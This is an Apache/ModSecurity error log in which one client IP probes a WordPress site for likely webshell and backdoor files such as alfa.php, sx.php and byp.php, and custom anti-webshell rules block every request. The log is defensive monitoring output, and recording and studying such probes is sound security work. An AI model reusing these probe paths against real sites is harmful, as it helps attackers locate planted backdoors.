[Thu Jan 08 04:38:27.792262 2026] [:error] [pid 15265:tid 15348] [client 4.194.192.180:7045] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EQ6E6VBKhew2LTFSDJwAAAJY"]
[Thu Jan 08 04:38:27.999421 2026] [:error] [pid 15358:tid 15378] [client 4.194.192.180:26462] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aV7EQyoRk9xWJ3toSBKmAwAAAMg"]
[Thu Jan 08 04:38:28.334634 2026] [:error] [pid 15265:tid 15334] [client 4.194.192.180:26431] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aV7ERKE6VBKhew2LTFSDKAAAAIg"]
[Thu Jan 08 04:38:28.634757 2026] [:error] [pid 15265:tid 15342] [client 4.194.192.180:7122] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aV7ERKE6VBKhew2LTFSDKQAAAJA"]
[Thu Jan 08 04:38:28.980530 2026] [:error] [pid 15263:tid 15289] [client 4.194.192.180:7083] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aV7ERNv61bxum7WG_e9BfAAAABE"]
[Thu Jan 08 04:38:29.265767 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:7138] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV7ERSoRk9xWJ3toSBKmCAAAAM8"]
[Thu Jan 08 04:38:29.735043 2026] [:error] [pid 15264:tid 15317] [client 4.194.192.180:7058] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV7ERYov6_kvS0Owh-pj4gAAAFI"]
[Thu Jan 08 04:38:30.308309 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:6982] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV7ERioRk9xWJ3toSBKmCQAAANE"]
[Thu Jan 08 04:38:30.705863 2026] [:error] [pid 15263:tid 15272] [client 4.194.192.180:7086] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aV7ERtv61bxum7WG_e9BgQAAAAA"]
[Thu Jan 08 04:38:31.039474 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:6986] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aV7ERyoRk9xWJ3toSBKmDAAAAMI"]
[Thu Jan 08 04:38:31.314729 2026] [:error] [pid 15265:tid 15335] [client 4.194.192.180:7126] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aV7ER6E6VBKhew2LTFSDKwAAAIk"]
[Thu Jan 08 04:38:31.540421 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:7162] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aV7ER4ov6_kvS0Owh-pj5gAAAFQ"]
[Thu Jan 08 04:38:31.958000 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:26427] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aV7ERyoRk9xWJ3toSBKmDwAAAM0"]
[Thu Jan 08 04:38:32.202082 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:7043] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV7ESKE6VBKhew2LTFSDLAAAAJc"]
[Thu Jan 08 04:38:32.632048 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:26484] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV7ESKE6VBKhew2LTFSDLQAAAII"]
[Thu Jan 08 04:38:33.126390 2026] [:error] [pid 15264:tid 15314] [client 4.194.192.180:26386] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV7ESYov6_kvS0Owh-pj5wAAAE8"]
[Thu Jan 08 04:38:33.374491 2026] [:error] [pid 15264:tid 15307] [client 4.194.192.180:6989] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aV7ESYov6_kvS0Owh-pj6QAAAEg"]
[Thu Jan 08 04:38:33.688750 2026] [:error] [pid 15358:tid 15371] [client 4.194.192.180:7066] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aV7ESSoRk9xWJ3toSBKmEAAAAME"]
[Thu Jan 08 04:38:34.039208 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:7137] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aV7ESioRk9xWJ3toSBKmEgAAAMQ"]
[Thu Jan 08 04:38:34.306103 2026] [:error] [pid 15263:tid 15277] [client 4.194.192.180:26404] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aV7EStv61bxum7WG_e9BhgAAAAU"]
[Thu Jan 08 04:38:34.548582 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:6993] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aV7ESoov6_kvS0Owh-pj6gAAAEo"]
[Thu Jan 08 04:38:34.728212 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:7056] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aV7ESioRk9xWJ3toSBKmFQAAANA"]
[Thu Jan 08 04:38:34.961286 2026] [:error] [pid 15358:tid 15394] [client 4.194.192.180:7118] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aV7ESioRk9xWJ3toSBKmFgAAANg"]
[Thu Jan 08 04:38:35.343295 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:7152] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aV7ESyoRk9xWJ3toSBKmGAAAAMI"]
[Thu Jan 08 04:38:35.635697 2026] [:error] [pid 15358:tid 15390] [client 4.194.192.180:26409] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aV7ESyoRk9xWJ3toSBKmGQAAANQ"]
[Thu Jan 08 04:38:35.979323 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:26459] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aV7ES4ov6_kvS0Owh-pj6wAAAEc"]
[Thu Jan 08 04:38:36.430461 2026] [:error] [pid 15358:tid 15389] [client 4.194.192.180:7111] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aV7ETCoRk9xWJ3toSBKmGwAAANM"]
[Thu Jan 08 04:38:36.769124 2026] [:error] [pid 15264:tid 15317] [client 4.194.192.180:7161] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aV7ETIov6_kvS0Owh-pj7AAAAFI"]
[Thu Jan 08 04:38:37.112033 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:7140] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aV7ETSoRk9xWJ3toSBKmHQAAANc"]
[Thu Jan 08 04:38:37.478070 2026] [:error] [pid 15264:tid 15300] [client 4.194.192.180:7002] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aV7ETYov6_kvS0Owh-pj7QAAAEE"]
[Thu Jan 08 04:38:37.800936 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:7063] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aV7ETYov6_kvS0Owh-pj8AAAAFc"]
[Thu Jan 08 04:38:38.089025 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:26369] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aV7ETioRk9xWJ3toSBKmHwAAAMQ"]
[Thu Jan 08 04:38:38.744792 2026] [:error] [pid 15264:tid 15310] [client 4.194.192.180:7004] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aV7EToov6_kvS0Owh-pj9AAAAEs"]
[Thu Jan 08 04:38:39.043242 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:7100] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aV7ET4ov6_kvS0Owh-pj9QAAAFA"]
[Thu Jan 08 04:38:39.361412 2026] [:error] [pid 15265:tid 15337] [client 4.194.192.180:7065] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aV7ET6E6VBKhew2LTFSDMgAAAIs"]
[Thu Jan 08 04:38:40.238851 2026] [:error] [pid 15263:tid 15279] [client 4.194.192.180:26452] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aV7EUNv61bxum7WG_e9BjgAAAAc"]
[Thu Jan 08 04:38:40.692194 2026] [:error] [pid 15265:tid 15350] [client 4.194.192.180:7099] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aV7EUKE6VBKhew2LTFSDMwAAAJg"]
[Thu Jan 08 04:38:40.979895 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:26372] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aV7EUIov6_kvS0Owh-pj-QAAAEc"]
[Thu Jan 08 04:38:41.263063 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:7055] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aV7EUaE6VBKhew2LTFSDNQAAAIY"]
[Thu Jan 08 04:38:41.595742 2026] [:error] [pid 15263:tid 15290] [client 4.194.192.180:7027] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aV7EUdv61bxum7WG_e9BkAAAABI"]
[Thu Jan 08 04:38:42.115839 2026] [:error] [pid 15265:tid 15326] [client 4.194.192.180:7077] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aV7EUqE6VBKhew2LTFSDNwAAAIA"]
[Thu Jan 08 04:38:42.418013 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:7080] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV7EUoov6_kvS0Owh-pj_QAAAFg"]
[Thu Jan 08 04:38:42.721313 2026] [:error] [pid 15265:tid 15343] [client 4.194.192.180:7079] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV7EUqE6VBKhew2LTFSDOAAAAJE"]
[Thu Jan 08 04:38:43.073731 2026] [:error] [pid 15263:tid 15292] [client 4.194.192.180:6979] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV7EU9v61bxum7WG_e9BkgAAABQ"]
[Thu Jan 08 04:38:43.369992 2026] [:error] [pid 15263:tid 15273] [client 4.194.192.180:7053] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV7EU9v61bxum7WG_e9BlQAAAAE"]
[Thu Jan 08 04:38:43.695162 2026] [:error] [pid 15265:tid 15346] [client 4.194.192.180:7082] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aV7EU6E6VBKhew2LTFSDOQAAAJQ"]
[Thu Jan 08 04:38:43.969967 2026] [:error] [pid 15263:tid 15294] [client 4.194.192.180:7106] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aV7EU9v61bxum7WG_e9BlgAAABY"]
[Thu Jan 08 04:38:44.253485 2026] [:error] [pid 15264:tid 15302] [client 4.194.192.180:7089] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aV7EVIov6_kvS0Owh-pkAAAAAEM"]
[Thu Jan 08 04:38:44.525556 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:7008] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aV7EVKE6VBKhew2LTFSDOwAAAII"]
[Thu Jan 08 04:38:44.785639 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:7039] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aV7EVKE6VBKhew2LTFSDPAAAAIE"]
[Thu Jan 08 04:38:45.310105 2026] [:error] [pid 15263:tid 15285] [client 4.194.192.180:7071] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aV7EVdv61bxum7WG_e9BmgAAAA0"]
[Thu Jan 08 04:38:45.631678 2026] [:error] [pid 15265:tid 15338] [client 4.194.192.180:7145] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aV7EVaE6VBKhew2LTFSDPwAAAIw"]
[Thu Jan 08 04:38:45.991777 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:26385] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aV7EVYov6_kvS0Owh-pkAgAAAFA"]
[Thu Jan 08 04:38:46.292341 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:7128] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aV7EVoov6_kvS0Owh-pkAwAAAFQ"]
[Thu Jan 08 04:38:46.554176 2026] [:error] [pid 15265:tid 15344] [client 4.194.192.180:7096] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aV7EVqE6VBKhew2LTFSDQQAAAJI"]
[Thu Jan 08 04:38:46.900383 2026] [:error] [pid 15263:tid 15272] [client 4.194.192.180:7057] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV7EVtv61bxum7WG_e9BmwAAAAA"]
